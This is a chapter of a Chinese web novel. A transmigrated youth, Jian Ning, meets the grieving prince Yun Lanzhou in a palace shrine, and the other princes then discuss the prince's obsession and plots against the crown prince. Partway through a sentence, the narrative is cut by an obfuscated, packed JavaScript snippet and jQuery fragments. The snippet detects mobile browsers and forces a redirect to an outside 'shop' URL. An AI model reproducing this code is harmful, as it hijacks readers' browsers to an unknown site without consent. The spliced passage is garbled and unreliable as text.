32. 第 32 章
作品:《反派他越救越黑化》 这厢,简宁自从得了皇上口谕,匪夷所思地过了一晚。
第二天大夫人送来几身料子极好的深衣和锦缎长袍,配上祥云玉带和绣着银线的竹纹发带,又命人将他梳洗打扮了一番,才让他随宫中马车进宫。
简宁上下两辈子都没穿得这么体面过,折腾了一个多时辰,他甘之若饴。
帅呀。
尽管他现在的身材并不高大挺拔,但还是在下马车后挺胸抬头,走出了一派风度翩翩的气场。
随行的太监不由得多看了几眼,这位小公子模样倒是俊俏,就是看起来脑子不太好,昂着个脑袋不看路,都被绊倒好几次了。
简宁正得意,他对皇宫很熟,也没有多大敬畏,毕竟之前他可是亲眼看到过皇帝被皇后逼吐血的人。
这番进宫,跟回家一样自在。
只是很快,他便疑惑了。
不是不认路,而是这路并不是去乾清宫的方向。
不由得他问,太监便将他引进了景阳宫大门。
简宁恍惚地看着四周,与三年前截然不同了。焦黑的断壁残垣早已不见,站在宽阔的天井中间,可见玉宇无尘,檐廊环绕,新修的景阳宫屋顶平缓,青瓦层层,殿脊黄绿,琉璃瓦闪着彩光,鲜艳明亮。
绕过回廊,往正殿而去,更见几段团花相簇的白玉石阶,尊贵得叫人不忍踏足。
好在那太监也不准备让他去踩一脚,带着他从右侧的小石路去了。
简宁进入景阳宫就有些紧张了,自然,还有些兴奋。
虽然他只是短短半个月没见到小崽,但小崽已经是三年没见到他了,而且现在也应该认不出他。
为何皇帝会突然让他一个五品小官的庶子去见云澜舟呢?简宁想不明白,也没空去想,因为那太监七拐八绕,竟然把他带到了一座佛堂门前。
简宁呆呆地看着正对面青烟缭绕的香案,还有森严高大的玉石佛像。
屋中飘出的浓郁沉香味熏得他直打喷嚏。
太监拉着他的袖子往前挪了几步,躬身对佛堂中的人影道:“十一殿下,简三公子到了。”
简宁听到“十一殿下”这几个字,如梦初醒般地反应过来,跪在佛前的白衣身影就是云澜舟。
少年一身长袍仿佛蚕丝锦缎所制,映着窗外斑驳的日光,盈盈如月。听到太监的声音,跪在蒲团上的身影一动,颇为急切地站起身,转过了头来。
简宁怔了怔。
云澜舟浑身素白,尽管罩了一件披风,却也难以忽视他的清瘦。他手拿一串红珠,赤如血色,恍若羽化登仙般的佛子破了戒,堕成了亦正亦邪的妖孽,待他走来时,右耳耳垂上的脂白小玉铃便铃铃作响,空灵冰寒。
简宁有一瞬间的目眩。
云澜舟站在离他五步之外的地方,脚步顿住,似乎想靠近却又不敢。浅淡的唇开合着,什么也说不出来。浓密纤长的睫毛如蝶翅般震颤,眼瞳深黑,仿佛隔着简宁的脸,看向了那身体中的某个灵魂。
“见过十一殿下。”简宁像模像样地行了个礼。
“起来吧。”云澜舟隔空扶了他一下。
简宁因这番小小动作感到十二分亲切,语气也熟稔起来,微笑看着小崽, “不知十一殿下找草民有何事?”
“千金裘那首诗,是你作的吗?”云澜舟已经耐不住,开门见山地问了。
“不是。”简宁下意识答道。
这确实不是他的,面对其他人他可以胡说,但面对小崽他不想撒谎,就像家长撒谎就会教坏孩子一样的心情。
云澜舟眼眸微垂,听到不是二字,方才的热切顿时消散了大半,不由一把擒住了简宁的手腕,目光满是打量,每个字都说得极为清晰缓慢,“那是从何处得来?”
简宁被他箍得有些疼,没想到小崽十岁都能把十二岁的他掐疼,原主的身子真是太废物了。
简宁咬牙挤出个笑,“是梦中受仙人点拨,偶然所得。”
云澜舟明明是一双桃花眼,平日不说温柔可爱,也只是冷漠淡然,可此时他眼睛微眯,居然十分具有威慑力,他紧紧盯着简宁的眼睛,不放过任何一个表情。
简宁从未见过他家小崽有这般模样,呆了半晌,直到云澜舟似乎已经不想再问,才狠狠放开了他的手。
“以后不准再作诗。”云澜舟恢复了清清冷冷的样子,回到蒲团上默念经文。
看来还是一个冒用那人诗句的无耻之徒。
为什么你会入他人的梦,而不入我的梦呢。
云澜舟心绪纷乱,原本挺直的背脊有些许松塌,他一只手撑在地上,想去地里问问那个人的魂魄,为什么不来找自己。
简宁看着他绝情的背影,不明白小崽为什么突然激动起来,又突然平静,现在还有些委屈。
那首诗有什么问题?为什么云澜舟会问是不是他作的?难道方湛把《将进酒》的后半部分传入了皇宫?
可也不对,若是如此,云澜舟也不会是方湛那边的人,他母妃的事情,方湛功不可没。
可今日这一遭,又该如何解释?简宁想了半天,终于有了个猜测。莫不是云澜舟不喜欢方湛,也不喜欢方湛身上那个神童的称号,于是就把他这个新任神童抓过来威胁一顿解气?
好好笑。
简宁被自己的猜测逗乐了。
可他自己却看不见,他脸上并无笑意,反而是看着那个清瘦的背影,眼眶微微泛起了红。
以前好不容易把小崽养胖点,现在又怎么了,瘦成这样。
这回见面,不过短短一炷香的时间,简宁就依依不舍地被送回了简府。他很想再和小崽多说说话,毕竟以后见面的机会不多了。
与其说不多,不如说根本没有再见的可能。
他不打算科举,也不会做官,日后多半是从商,离开简家逍遥自在,而云澜舟会在皇宫里长大,封王,去封地造反。
哪有空见他一个闲人?
造反……被主角斩于马下……
简宁心里紧了紧,打开马车的布帘通风,平复心情。
这毕竟是小说的世界,有固定的剧情要走,他无法更改什么,只能顺应命运的安排。虽然有些难受,但简宁善于安慰自己,也许他过几年就忘记云澜舟了,毕竟只相处了不到两个月。
还是想想自己的未来比较靠谱,一定要吃好喝好,游遍大江南北!
景阳宫。
“你又何必动怒。”八皇子听说那简三公子上午去了景阳宫叙话,下午便匆匆过来看情况了,谁知一听太监说小十一根本没把人当回事儿,讲了几句就没再搭理,不由遗憾道:“知道你还在为了三年前的事情愧疚,可这么久了,总该淡忘些许吧。”
“没有。”云澜舟简单地答。
“还说没有。”八皇子失笑,“听内官说你都把人家手腕儿掐紫了,我平日怎么不见你有这番力气?”
“来!掐掐二哥。”
一个爽朗的声音自佛堂外传来。
“二皇兄。”八皇子起身行了个礼,“你今日怎么有空过来?”
“送人。”二皇子眉目长开了不少,已初具英姿,腰间环佩叮当,身着一袭红色长袍,绣着精美的金丝祥云纹,衣角随风微扬,踏雪而来,仿佛一簇火烧云自天边飘然降落,带来满屋霞光,洒脱不羁,又贵气逼人。
“从灵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12902491|136205||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
山给你寻的老道士,听说颇通灵魂转世之术,邪门儿得很,便给你抓来了。”二皇子让人把那道士带了进来。
老道士看起来疯癫不堪,披头散发,衣衫破旧,腰间系着一根粗麻绳,挂着几块古旧的符咒,符咒上的墨迹早已模糊不清。
八皇子冷了脸色,“怎么又找些乱七八糟的人来?”
“这怎么是乱七八糟的人,这是小十一需要的人。”二皇子顺手从香案上拿了个点心,咬了一口,皱眉道:“这都馊了,小狗儿能吃馊的吗?”
云澜舟波澜不惊的脸终于浮现了一丝涟漪,自顾自地起身,将馊掉的玉雪奶糕撤掉,换上了新的芙蓉酥,然后继续跪下念经。
“胡闹。”八皇子见状,胸中哽了一口气,忙把二皇子拉出佛堂。
近年来八皇子越发沉稳,二皇子虽然年长两岁,身形高些,却没有八皇子的气势,不由时常被这个矮上自己半个头的弟弟训话。
“你又找那些江湖骗子来做甚?”八皇子拽着他的袖子,沉声斥道。
“谁说那是江湖骗子。”二皇子抽回袖子,站开了一步,怕这个八皇弟又来动手动脚,说到老十一,他盯了眼佛堂,“你看他,他都那样了,在宫里修个佛堂,吃斋念佛地求一只狗的魂魄转世,魔怔成这样,咱们能怎么办?再说你又有什么好主意,老十一如今这样半死不活的样子,给他找点盼头也好啊。”
“他是真的疯了。”八皇子面露痛惜,沉吟片刻后,又有些犹疑,“你说,他说的都是真的吗?”
“我怎么知道,他说有鬼便有鬼吧,那鬼还帮了咱们不少呢。”二皇子撒开折扇,闲适地摇起来,语气有几分感慨,“且如果不是真的,当年若不是鬼怪之类告诉老十一小狗儿身上有传音蛊的事,小十一又如何知道?太医和我请来的兽师可都没诊出来,总不能是小十一诊断出来的吧?要我说,都是命。”
“我也不知……”八皇子垂头,怀疑着自己的见闻学时,子不语怪力乱神,可如今的事作何解释?
他叹息了一声,“就算有鬼,那小狗儿死后,鬼也总该离身了。”
“如今的权宜之计,就是让他自己缓过来,等长大了就清醒了,无论是真是假,他现在总要有个盼头。”二皇子道。
“他有盼头我无意反对。”八皇子抬头抓住了二皇子的胳臂,低声严肃警告道:“可这些年你利用小十一对太子动了多少次手,你自己数得清吗?”
“唉这事儿怪不着我,是老十一自己要动手的,我只是帮他出个头而已。”二皇子心虚,强行理直气壮地挺起了胸膛。
八皇子把二皇子的手举高,“你敢对天地神灵发誓,敢说你没有借他的手拔除太子党羽?”
“就一点点。”二皇子忙甩开八皇子的桎梏,摸了摸鼻子。
“罢了,我也劝不动你,你们一个两个,都是犟种。”八皇子甩手欲走,走了几步又回来,担忧叮嘱道,“太子的位置不是那么好坐的,这些年你也看到了,父皇废立大哥三次,说到底,还是属意他的。”
二皇子扣了扣耳朵,这话早已听得耳朵起了茧子,他先八皇子一步笑眯眯地走了,右手背过身摇起扇子,“无所谓,我就是爱给大家找点不痛快。”
八皇子哼了一声,又暗自叹息。
他本欲回宫,可忽然之间想到一个主意,听内官说,那简家三公子没什么特别,但十分面善。
且他知道,简家简心和,务农出生,中探花后一步步爬到了五品官,家世也简单,不拉帮结派。若是有简三公子这么个随和可亲的才子陪在小十一身边,应当能让小十一开朗些许。
想定后,八皇子转脚去了乾清宫。